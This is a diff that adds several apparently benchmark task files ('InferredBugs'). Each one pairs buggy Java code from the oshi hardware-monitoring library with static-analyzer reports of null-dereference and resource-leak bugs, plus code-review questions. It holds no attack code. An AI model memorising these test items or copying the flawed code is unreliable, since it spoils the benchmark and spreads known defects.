+import javax.json.JsonObject;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import oshi.hardware.Sensors;
+import oshi.json.NullAwareJsonObjectBuilder;
+import oshi.util.ExecutingCommand;
+
+public class WindowsSensors implements Sensors {
+    private static final Logger LOG = LoggerFactory.getLogger(WindowsSensors.class);
+
+    private JsonBuilderFactory jsonFactory = Json.createBuilderFactory(null);
+
+    @Override
+    public double getCpuTemperature() {
+        ArrayList<String> hwInfo = ExecutingCommand.runNative("wmic Temperature get CurrentReading");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of degrees Kelvin
+                try {
+                    int tempK = Integer.parseInt(checkLine.trim());
+                    if (tempK > 0) {
+                        return (tempK - 2715) / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand
+                .runNative("wmic /namespace:\\\\root\\wmi PATH MSAcpi_ThermalZoneTemperature get CurrentTemperature");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currenttemperature")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of degrees Kelvin
+                try {
+                    int tempK = Integer.parseInt(checkLine.trim());
+                    if (tempK > 0) {
+                        return (tempK - 2715) / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand
+                .runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_TemperatureProbe get CurrentReading");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of degrees Kelvin
+                try {
+                    int tempK = Integer.parseInt(checkLine.trim());
+                    if (tempK > 0) {
+                        return (tempK - 2715) / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        return 0d;
+    }
+
+    @Override
+    public int[] getFanSpeeds() {
+        int[] fanSpeeds = new int[1];
+        ArrayList<String> hwInfo = ExecutingCommand
+                .runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_Fan get DesiredSpeed");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("desiredspeed")) {
+                continue;
+            } else {
+                // If successful
+                try {
+                    int rpm = Integer.parseInt(checkLine.trim());
+                    // Check if 8th bit (of 16 bit number) is set
+                    if (rpm > 0) {
+                        fanSpeeds[0] = rpm;
+                        return fanSpeeds;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        return fanSpeeds;
+    }
+
+    @Override
+    public double getCpuVoltage() {
+        ArrayList<String> hwInfo = ExecutingCommand.runNative("wmic cpu get CurrentVoltage");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentvoltage")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of volts
+                try {
+                    int decivolts = Integer.parseInt(checkLine.trim());
+                    if (decivolts > 0) {
+                        return decivolts / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand.runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_Processor get CurrentVoltage");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful:
+                // If the eighth bit is set, bits 0-6 contain the voltage
+                // multiplied by 10. If the eighth bit is not set, then the bit
+                // setting in VoltageCaps represents the voltage value.
+                try {
+                    int decivolts = Integer.parseInt(checkLine.trim());
+                    // Check if 8th bit (of 16 bit number) is set
+                    if ((decivolts & 0x80) > 0 && decivolts > 0) {
+                        return decivolts / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand.runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_Processor get VoltageCaps");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful:
+                // Bits 0-3 of the field represent specific voltages that the
+                // processor socket can accept.
+                try {
+                    int voltagebits = Integer.parseInt(checkLine.trim());
+                    // Return appropriate voltage
+                    if ((voltagebits & 0x1) > 0) {
+                        return 5.0;
+                    } else if ((voltagebits & 0x2) > 0) {
+                        return 3.3;
+                    } else if ((voltagebits & 0x4) > 0) {
+                        return 2.9;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        return 0d;
+    }
+
+    @Override
+    public JsonObject toJSON() {
+        JsonArrayBuilder fanSpeedsArrayBuilder = jsonFactory.createArrayBuilder();
+        for (int speed : getFanSpeeds()) {
+            fanSpeedsArrayBuilder.add(speed);
+        }
+        return NullAwareJsonObjectBuilder.wrap(jsonFactory.createObjectBuilder()).add("cpuTemperature", getCpuTemperature())
+                .add("fanSpeeds", fanSpeedsArrayBuilder.build()).add("cpuVoltage", getCpuVoltage()).build();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `hwInfo` last assigned on line 40 could be null and is dereferenced at line 41.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+double WindowsSensors.getCpuTemperature()
+
+### Procedure Id:
+oshi.hardware.platform.windows.WindowsSensors.getCpuTemperature():double.e4340d82455d749f23b5cd0dc972186e
+
+### File:
+src/main/java/oshi/hardware/platform/windows/WindowsSensors.java
+
+### Key:
+WindowsSensors.java|getCpuTemperature|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+d4558c1ba88ab3a260dfb4309f1220e7
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9674/instruction.md b/inferredbugs-9674/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..90a3e8471496150cb6ec081a09020c7a29fedcd5
--- /dev/null
+++ b/inferredbugs-9674/instruction.md
@@ -0,0 +1,276 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** oshi
+**Bug ID:** 11
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Oshi (https://github.com/dblock/oshi)
+ * 
+ * Copyright (c) 2010 - 2016 The Oshi Project Team
+ * 
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * http://www.eclipse.org/legal/epl-v10.html
+ * 
+ * Contributors:
+ * dblock[at]dblock[dot]org
+ * alessandro[at]perucchi[dot]org
+ * widdis[at]gmail[dot]com
+ * https://github.com/dblock/oshi/graphs/contributors
+ */
+package oshi.hardware.platform.windows;
+
+import java.util.ArrayList;
+
+import javax.json.Json;
+import javax.json.JsonArrayBuilder;
+import javax.json.JsonBuilderFactory;
+import javax.json.JsonObject;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import oshi.hardware.Sensors;
+import oshi.json.NullAwareJsonObjectBuilder;
+import oshi.util.ExecutingCommand;
+
+public class WindowsSensors implements Sensors {
+    private static final Logger LOG = LoggerFactory.getLogger(WindowsSensors.class);
+
+    private JsonBuilderFactory jsonFactory = Json.createBuilderFactory(null);
+
+    @Override
+    public double getCpuTemperature() {
+        ArrayList<String> hwInfo = ExecutingCommand.runNative("wmic Temperature get CurrentReading");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of degrees Kelvin
+                try {
+                    int tempK = Integer.parseInt(checkLine.trim());
+                    if (tempK > 0) {
+                        return (tempK - 2715) / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand
+                .runNative("wmic /namespace:\\\\root\\wmi PATH MSAcpi_ThermalZoneTemperature get CurrentTemperature");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currenttemperature")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of degrees Kelvin
+                try {
+                    int tempK = Integer.parseInt(checkLine.trim());
+                    if (tempK > 0) {
+                        return (tempK - 2715) / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand
+                .runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_TemperatureProbe get CurrentReading");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of degrees Kelvin
+                try {
+                    int tempK = Integer.parseInt(checkLine.trim());
+                    if (tempK > 0) {
+                        return (tempK - 2715) / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        return 0d;
+    }
+
+    @Override
+    public int[] getFanSpeeds() {
+        int[] fanSpeeds = new int[1];
+        ArrayList<String> hwInfo = ExecutingCommand
+                .runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_Fan get DesiredSpeed");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("desiredspeed")) {
+                continue;
+            } else {
+                // If successful
+                try {
+                    int rpm = Integer.parseInt(checkLine.trim());
+                    // Check if 8th bit (of 16 bit number) is set
+                    if (rpm > 0) {
+                        fanSpeeds[0] = rpm;
+                        return fanSpeeds;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        return fanSpeeds;
+    }
+
+    @Override
+    public double getCpuVoltage() {
+        ArrayList<String> hwInfo = ExecutingCommand.runNative("wmic cpu get CurrentVoltage");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentvoltage")) {
+                continue;
+            } else {
+                // If successful this line is in tenths of volts
+                try {
+                    int decivolts = Integer.parseInt(checkLine.trim());
+                    if (decivolts > 0) {
+                        return decivolts / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand.runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_Processor get CurrentVoltage");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful:
+                // If the eighth bit is set, bits 0-6 contain the voltage
+                // multiplied by 10. If the eighth bit is not set, then the bit
+                // setting in VoltageCaps represents the voltage value.
+                try {
+                    int decivolts = Integer.parseInt(checkLine.trim());
+                    // Check if 8th bit (of 16 bit number) is set
+                    if ((decivolts & 0x80) > 0 && decivolts > 0) {
+                        return decivolts / 10d;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        // Above query failed, try something else
+        hwInfo = ExecutingCommand.runNative("wmic /namespace:\\\\root\\cimv2 PATH Win32_Processor get VoltageCaps");
+        for (String checkLine : hwInfo) {
+            if (checkLine.length() == 0 || checkLine.toLowerCase().contains("currentreading")) {
+                continue;
+            } else {
+                // If successful:
+                // Bits 0-3 of the field represent specific voltages that the
+                // processor socket can accept.
+                try {
+                    int voltagebits = Integer.parseInt(checkLine.trim());
+                    // Return appropriate voltage
+                    if ((voltagebits & 0x1) > 0) {
+                        return 5.0;
+                    } else if ((voltagebits & 0x2) > 0) {
+                        return 3.3;
+                    } else if ((voltagebits & 0x4) > 0) {
+                        return 2.9;
+                    }
+                } catch (NumberFormatException e) {
+                    // If we failed to parse, give up
+                }
+                break;
+            }
+        }
+        return 0d;
+    }
+
+    @Override
+    public JsonObject toJSON() {
+        JsonArrayBuilder fanSpeedsArrayBuilder = jsonFactory.createArrayBuilder();
+        for (int speed : getFanSpeeds()) {
+            fanSpeedsArrayBuilder.add(speed);
+        }
+        return NullAwareJsonObjectBuilder.wrap(jsonFactory.createObjectBuilder()).add("cpuTemperature", getCpuTemperature())
+                .add("fanSpeeds", fanSpeedsArrayBuilder.build()).add("cpuVoltage", getCpuVoltage()).build();
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `hwInfo` last assigned on line 126 could be null and is dereferenced at line 127.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+double WindowsSensors.getCpuVoltage()
+
+### Procedure Id:
+oshi.hardware.platform.windows.WindowsSensors.getCpuVoltage():double.c3b455c9ed03d22da1bfbc8cfae9c7fa
+
+### File:
+src/main/java/oshi/hardware/platform/windows/WindowsSensors.java
+
+### Key:
+WindowsSensors.java|getCpuVoltage|NULL_DEREFERENCE
+
+### Node Key:
+3136f63d7119a7aa69484bac205f617e
+
+### Hash:
+b53c4bef33069d2a968b9afd130230c2
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9680/instruction.md b/inferredbugs-9680/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c8048e221bc1be2c36d8aeca7a91667eb8434980
--- /dev/null
+++ b/inferredbugs-9680/instruction.md
@@ -0,0 +1,159 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** oshi
+**Bug ID:** 6
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Copyright (c) Alessandro Perucchi, 2014
+ * alessandro[at]perucchi[dot]org
+ * All Rights Reserved
+ * Eclipse Public License (EPLv1)
+ * http://oshi.codeplex.com/license
+ */
+package oshi.software.os.linux.proc;
+
+import java.io.FileNotFoundException;
+import java.io.FileReader;
+import java.util.Scanner;
+
+import oshi.hardware.Memory;
+
+/**
+ * Memory obtained by /proc/meminfo.
+ * 
+ * @author alessandro[at]perucchi[dot]org
+ */
+public class GlobalMemory implements Memory {
+
+	private long totalMemory = 0;
+
+	public long getAvailable() {
+		long returnCurrentUsageMemory = 0;
+		Scanner in = null;
+		try {
+			in = new Scanner(new FileReader("/proc/meminfo"));
+		} catch (FileNotFoundException e) {
+			return returnCurrentUsageMemory;
+		}
+		in.useDelimiter("\n");
+		while (in.hasNext()) {
+			String checkLine = in.next();
+			if (checkLine.startsWith("MemAvailable:")) {
+				String[] memorySplit = checkLine.split("\\s+");
+				returnCurrentUsageMemory = parseMeminfo(memorySplit);
+				break;
+			} else if (checkLine.startsWith("MemFree:")) {
+				String[] memorySplit = checkLine.split("\\s+");
+				returnCurrentUsageMemory += parseMeminfo(memorySplit);
+			} else if (checkLine.startsWith("Inactive:")) {
+				String[] memorySplit = checkLine.split("\\s+");
+				returnCurrentUsageMemory += parseMeminfo(memorySplit);
+			}
+		}
+		in.close();
+		return returnCurrentUsageMemory;
+	}
+
+	public long getTotal() {
+		if (totalMemory == 0) {
+			Scanner in = null;
+			try {
+				in = new Scanner(new FileReader("/proc/meminfo"));
+			} catch (FileNotFoundException e) {
+				totalMemory = 0;
+				return totalMemory;
+			}
+			in.useDelimiter("\n");
+			while (in.hasNext()) {
+				String checkLine = in.next();
+				if (checkLine.startsWith("MemTotal:")) {
+					String[] memorySplit = checkLine.split("\\s+");
+					totalMemory = parseMeminfo(memorySplit);
+					break;
+				}
+			}
+			in.close();
+		}
+		return totalMemory;
+	}
+
+	private long parseMeminfo(String[] memorySplit) {
+		if (memorySplit.length < 2) {
+			return 0l;
+		}
+		long memory = new Long(memorySplit[1]);
+		if (memorySplit.length > 2 && memorySplit[2].equals("kB")) {
+			memory *= 1024;
+		}
+		return memory;
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.util.Scanner` acquired to `in` by call to `new()` at line 56 is not released after line 70.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+long GlobalMemory.getTotal()
+
+### Procedure Id:
+oshi.software.os.linux.proc.GlobalMemory.getTotal():long.06707bc15d00621e2ba4341f480e6da8
+
+### File:
+src/main/java/oshi/software/os/linux/proc/GlobalMemory.java
+
+### Key:
+GlobalMemory.java|getTotal|RESOURCE_LEAK
+
+### Node Key:
+96d0b7ce25d90477964b9aaec0fb9137
+
+### Hash:
+c0e5cd78b74975f27b35616d834e9949
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9681/instruction.md b/inferredbugs-9681/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1979a598ac64cdaef6e7a67e5ac2869003547c72
--- /dev/null
+++ b/inferredbugs-9681/instruction.md
@@ -0,0 +1,577 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** oshi
+**Bug ID:** 28
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * Oshi (https://github.com/dblock/oshi)
+ *
+ * Copyright (c) 2010 - 2016 The Oshi Project Team
+ *
+ * All rights reserved. This program and the accompanying materials
+ * are made available under the terms of the Eclipse Public License v1.0
+ * which accompanies this distribution, and is available at
+ * http://www.eclipse.org/legal/epl-v10.html
+ *
+ * Maintainers:
+ * dblock[at]dblock[dot]org
+ * widdis[at]gmail[dot]com
+ * enrico.bianchi[at]gmail[dot]com
+ *
+ * Contributors:
+ * https://github.com/dblock/oshi/graphs/contributors
+ */
+package oshi.util.platform.windows;
+
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.sun.jna.NativeLong;
+import com.sun.jna.Pointer;
+import com.sun.jna.platform.win32.OleAuto;
+import com.sun.jna.platform.win32.Variant.VARIANT;
+import com.sun.jna.platform.win32.WTypes.BSTR;
+import com.sun.jna.platform.win32.WinNT.HRESULT;
+import com.sun.jna.platform.win32.COM.COMUtils;
+import com.sun.jna.ptr.LongByReference;
+import com.sun.jna.ptr.PointerByReference;
+
+import oshi.jna.platform.windows.Ole32;
+import oshi.jna.platform.windows.COM.EnumWbemClassObject;
+import oshi.jna.platform.windows.COM.WbemClassObject;
+import oshi.jna.platform.windows.COM.WbemLocator;
+import oshi.jna.platform.windows.COM.WbemServices;
+import oshi.util.ParseUtil;
+
+/**
+ * Provides access to WMI queries
+ * 
+ * @author widdis[at]gmail[dot]com
+ */
+public class WmiUtil {
+    private static final Logger LOG = LoggerFactory.getLogger(WmiUtil.class);
+
+    public static final String DEFAULT_NAMESPACE = "ROOT\\CIMV2";
+
+    private static boolean securityInitialized = false;
+
+    /**
+     * Enum for WMI queries for proper parsing from the returned VARIANT
+     */
+    public enum ValueType {
+        STRING, UINT32, FLOAT, DATETIME
+    }
+
+    /**
+     * For WMI queries requiring array input
+     */
+    private static ValueType[] STRING_TYPE = { ValueType.STRING };
+    private static ValueType[] UINT32_TYPE = { ValueType.UINT32 };
+    private static ValueType[] FLOAT_TYPE = { ValueType.FLOAT };
+
+    /**
+     * Get a single Unsigned Integer value from WMI (as Long)
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param property
+     *            The property whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @return A Long containing the value of the requested property
+     */
+    public static Long selectUint32From(String namespace, String wmiClass, String property, String whereClause) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, property,
+                wmiClass, whereClause, UINT32_TYPE);
+        if (result.containsKey(property) && !result.get(property).isEmpty()) {
+            return (Long) result.get(property).get(0);
+        }
+        return 0L;
+    }
+
+    /**
+     * Get multiple Unsigned Integer values from WMI (as Longs)
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param properties
+     *            A comma delimited list of properties whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @return A map, with each property as the key, containing Longs with the
+     *         value of the requested properties. Each list's order corresponds
+     *         to other lists.
+     */
+    public static Map<String, List<Long>> selectUint32sFrom(String namespace, String wmiClass, String properties,
+            String whereClause) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, properties,
+                wmiClass, whereClause, UINT32_TYPE);
+        HashMap<String, List<Long>> longMap = new HashMap<>();
+        for (String key : result.keySet()) {
+            ArrayList<Long> longList = new ArrayList<>();
+            for (Object obj : result.get(key)) {
+                longList.add((Long) obj);
+            }
+            longMap.put(key, longList);
+        }
+        return longMap;
+    }
+
+    /**
+     * Get a single Float value from WMI
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param property
+     *            The property whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @return A Float containing the value of the requested property
+     */
+    public static Float selectFloatFrom(String namespace, String wmiClass, String property, String whereClause) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, property,
+                wmiClass, whereClause, FLOAT_TYPE);
+        if (result.containsKey(property) && !result.get(property).isEmpty()) {
+            return (Float) result.get(property).get(0);
+        }
+        return 0f;
+    }
+
+    /**
+     * Get multiple Float values from WMI
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param properties
+     *            A comma delimited list of properties whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @return A map, with each property as the key, containing Floats with the
+     *         value of the requested properties. Each list's order corresponds
+     *         to other lists.
+     */
+    public static Map<String, List<Float>> selectFloatsFrom(String namespace, String wmiClass, String properties,
+            String whereClause) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, properties,
+                wmiClass, whereClause, FLOAT_TYPE);
+        HashMap<String, List<Float>> floatMap = new HashMap<>();
+        for (String key : result.keySet()) {
+            ArrayList<Float> floatList = new ArrayList<>();
+            for (Object obj : result.get(key)) {
+                floatList.add((Float) obj);
+            }
+            floatMap.put(key, floatList);
+        }
+        return floatMap;
+    }
+
+    /**
+     * Get a single String value from WMI
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param property
+     *            The property whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @return A string containing the value of the requested property
+     */
+    public static String selectStringFrom(String namespace, String wmiClass, String property, String whereClause) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, property,
+                wmiClass, whereClause, STRING_TYPE);
+        if (result.containsKey(property) && !result.get(property).isEmpty()) {
+            return (String) result.get(property).get(0);
+        }
+        return "";
+    }
+
+    /**
+     * Get multiple String values from WMI
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param properties
+     *            A comma delimited list of properties whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @return A map, with each property as the key, containing strings with the
+     *         value of the requested properties. Each list's order corresponds
+     *         to other lists.
+     */
+    public static Map<String, List<String>> selectStringsFrom(String namespace, String wmiClass, String properties,
+            String whereClause) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, properties,
+                wmiClass, whereClause, STRING_TYPE);
+        HashMap<String, List<String>> strMap = new HashMap<>();
+        for (String key : result.keySet()) {
+            ArrayList<String> strList = new ArrayList<>();
+            for (Object obj : result.get(key)) {
+                strList.add((String) obj);
+            }
+            strMap.put(key, strList);
+        }
+        return strMap;
+    }
+
+    /**
+     * Get multiple individually typed values from WMI
+     * 
+     * @param namespace
+     *            The namespace or null to use the default
+     * @param wmiClass
+     *            The class to query
+     * @param properties
+     *            A comma delimited list of properties whose value to return
+     * @param whereClause
+     *            A WQL where clause matching properties and keywords
+     * @param propertyTypes
+     *            An array of types corresponding to the properties, or a single
+     *            element array
+     * @return A map, with each property as the key, containing Objects with the
+     *         value of the requested properties. Each list's order corresponds
+     *         to other lists. The type of the objects is identified by the
+     *         propertyTypes array. If only one propertyType is given, all
+     *         Objects will have that type. It is the responsibility of the
+     *         caller to cast the returned objects.
+     */
+    public static Map<String, List<Object>> selectObjectsFrom(String namespace, String wmiClass, String properties,
+            String whereClause, ValueType[] propertyTypes) {
+        Map<String, List<Object>> result = queryWMI(namespace == null ? DEFAULT_NAMESPACE : namespace, properties,
+                wmiClass, whereClause, propertyTypes);
+        return result;
+    }
+
+    /**
+     * Query WMI for values
+     * 
+     * @param namespace
+     *            The namespace to query
+     * @param properties
+     *            A single property or comma-delimited list of properties to
+     *            enumerate
+     * @param wmiClass
+     *            The WMI class to query
+     * @param propertyTypes
+     *            An array corresponding to the properties, containing the type
+     *            of data being queried, to control how VARIANT is parsed
+     * @return A map, with the string value of each property as the key,
+     *         containing a list of Objects which can be cast appropriately per
+     *         valType. The order of objects in each list corresponds to the
+     *         other lists.
+     */
+    private static Map<String, List<Object>> queryWMI(String namespace, String properties, String wmiClass,
+            String whereClause, ValueType[] propertyTypes) {
+        // Set up empty map
+        Map<String, List<Object>> values = new HashMap<>();
+        String[] props = properties.split(",");
+        for (int i = 0; i < props.length; i++) {
+            values.put(props[i], new ArrayList<Object>());
+        }
+
+        // Initialize COM
+        if (!initCOM()) {
+            Ole32.INSTANCE.CoUninitialize();
+            return values;
+        }
+
+        PointerByReference pSvc = new PointerByReference();
+        if (!connectServer(namespace, pSvc)) {
+            Ole32.INSTANCE.CoUninitialize();
+            return values;
+        }
+        WbemServices svc = new WbemServices(pSvc.getValue());
+
+        PointerByReference pEnumerator = new PointerByReference();
+        if (!selectProperties(svc, pEnumerator, properties, wmiClass, whereClause)) {
+            svc.Release();
+            Ole32.INSTANCE.CoUninitialize();
+            return values;
+        }
+        EnumWbemClassObject enumerator = new EnumWbemClassObject(pEnumerator.getValue());
+
+        enumerateProperties(values, enumerator, props, propertyTypes);
+
+        // Cleanup
+        enumerator.Release();
+        svc.Release();
+        Ole32.INSTANCE.CoUninitialize();
+        return values;
+    }
+
+    /*
+     * Below methods ported from: Getting WMI Data from Local Computer
+     * https://msdn.microsoft.com/en-us/library/aa390423(v=VS.85).aspx
+     * 
+     * Steps 1 - 7 correspond to the above link.
+     */
+    /**
+     * Initializes COM library and sets security to impersonate the local user
+     * 
+     * @return true if COM successfull initialized
+     */
+    private static boolean initCOM() {
+        // Step 1: --------------------------------------------------
+        // Initialize COM. ------------------------------------------
+        HRESULT hres = Ole32.INSTANCE.CoInitializeEx(null, Ole32.COINIT_MULTITHREADED);
+        if (COMUtils.FAILED(hres)) {
+            LOG.error(String.format("Failed to initialize COM library. Error code = 0x%08x", hres.intValue()));
+            return false;
+        }
+        if (securityInitialized) {
+            // Only run CoInitializeSecuirty once
+            return true;
+        }
+        // Step 2: --------------------------------------------------
+        // Set general COM security levels --------------------------
+        hres = Ole32.INSTANCE.CoInitializeSecurity(null, new NativeLong(-1), null, null,
+                Ole32.RPC_C_AUTHN_LEVEL_DEFAULT, Ole32.RPC_C_IMP_LEVEL_IMPERSONATE, null, Ole32.EOAC_NONE, null);
+        if (COMUtils.FAILED(hres) && hres.intValue() != Ole32.RPC_E_TOO_LATE) {
+            LOG.error(String.format("Failed to initialize security. Error code = 0x%08x", hres.intValue()));
